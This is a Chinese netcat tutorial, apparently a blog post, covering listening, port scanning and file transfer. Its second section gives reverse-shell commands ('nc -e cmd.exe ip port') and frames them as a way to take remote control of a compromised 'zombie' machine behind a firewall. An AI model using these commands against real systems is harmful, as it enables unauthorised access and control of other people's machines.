nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。


命令1:监听命令

nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port

参数解释:

-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息

提示:一般大家都爱用-vv

nc -l -p 80

这个很简单,监听80端口
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗扫描器

nc -l -p 80 > e:\log.dat

将详细信息写入E盘log.dat的日志文件

nc -l -v -p 80

和上边命令相似,会直接显示信息在运行着NC的屏幕上。

实践:

例如:nc -l -v -p 80

然后在浏览器中输入本机IP:127.0.0.1


命令2:程序定向(反弹shell的方法)

nc -l -p port -t -e cmd.exe

本地机: nc -l -p port 或 nc -l -v -p port

目标机:nc -e cmd.exe ip port

参数解释:

-l、-p两个参数已经解释过了

-e:作用就是程序定向
-t:以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

千万不要运行在自己的机器上,如果运行了,你机器就会变成一台TELNET的服务器了。

命令解释为:监听本地端口5277的入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。

说白了,其实就是让他成为一台TELNET的肉鸡。

所以  -e cmd.exe 这个命令要运行在你的肉鸡上。如下:

local machine(主人机器,需要先启动):nc -l -p port ( or nc -l -v -p port )
remote machine(被攻陷的机器,肉鸡):nc -e cmd.exe ip port

这样肉鸡运行“nc -e cmd.exe ip port”命令时,主人机器直接变成了肉鸡的cmd命令窗口,可以对肉鸡操控。也就是说肉鸡可以位于防火墙内部,可以连接到主人的外网机器。等于实现了反向代理。

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,
什么叫反弹端口?

就是说,当对方中马后,不用你主动和对方连接,也就是说不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。

示例:

本地运行:nc -l -p 5277 (监听本地5277端口)或者 nc -l -v -p 5277

然后在远程机器肉鸡上,想办法运行 nc -e cmd.exe ip 5277

这样就是反弹~~在本地主人机器上得到了一个SHELL


命令3:扫描端口

nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port

参数解释:

-z:将输入输出关掉,在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如:

nc -v ip 135

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息

例如:80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息

nc -v -z ip port-port

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围

例如:

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况

nc -v -z -u ip port-port

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的

例如:

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口


命令4:传送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe

参数解释:

-n:指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先,在远程机上运行命令:

nc -v -l -p 5277 > c:\pulist.exe

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口

并把接受到的信息数据写到c:\pulist.exe中

这时候在本地机上运行

nc -v -n ip 5277 < e:\hack\pulist.exe

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上

这样远程主机就会自动创建一个pulist.exe文件。


1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口

3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口


最新文章

  1. 12、Struts2表单重复提交
  2. C# .NET 隐藏窗体
  3. history/location操作 /navigator 操作/ screen操作
  4. 打印心形---print 的基础使用
  5. HDU 3775 Chain Code ——(Pick定理)
  6. String是引用类型
  7. 【转】tomcat下部署 solr 5.3.1
  8. setFocusable、setEnabled、setClickable区别
  9. 常用加密算法的Java实现总结(二) ——对称加密算法DES、3DES和AES
  10. mapreduce引用第三方jar
  11. Jquery面试题整合
  12. 6_StopWatch
  13. MFC、C++ 、Windows编程高手
  14. [html5] 学习笔记-SVG
  15. Linux 文件API
  16. 【Swift】swift中懒加载的写法
  17. Putty中的pscp和psftp的简明用法
  18. read读文件
  19. visual studio 2017 installer 安装包制作过程出现的问题---无法注册模块 HRESULT -2147024769 请与您的技术支持人员联系
  20. cmp命令详解

热门文章

  1. Redis 安装学习
  2. laravel中如何在模型中自关联?
  3. python爬虫之git的使用
  4. WPF 如何创建自己的WPF自定义控件库
  5. mac 电脑 打开隐藏文件
  6. falsk sqlalchemy 自关联创建评论回复数据库
  7. vue計算屬性
  8. LoadRunner Vuser接口测试脚本 Post举例
  9. composer 出现You are running Composer with SSL/TLS protection disabled.
  10. EChart.js 笔记二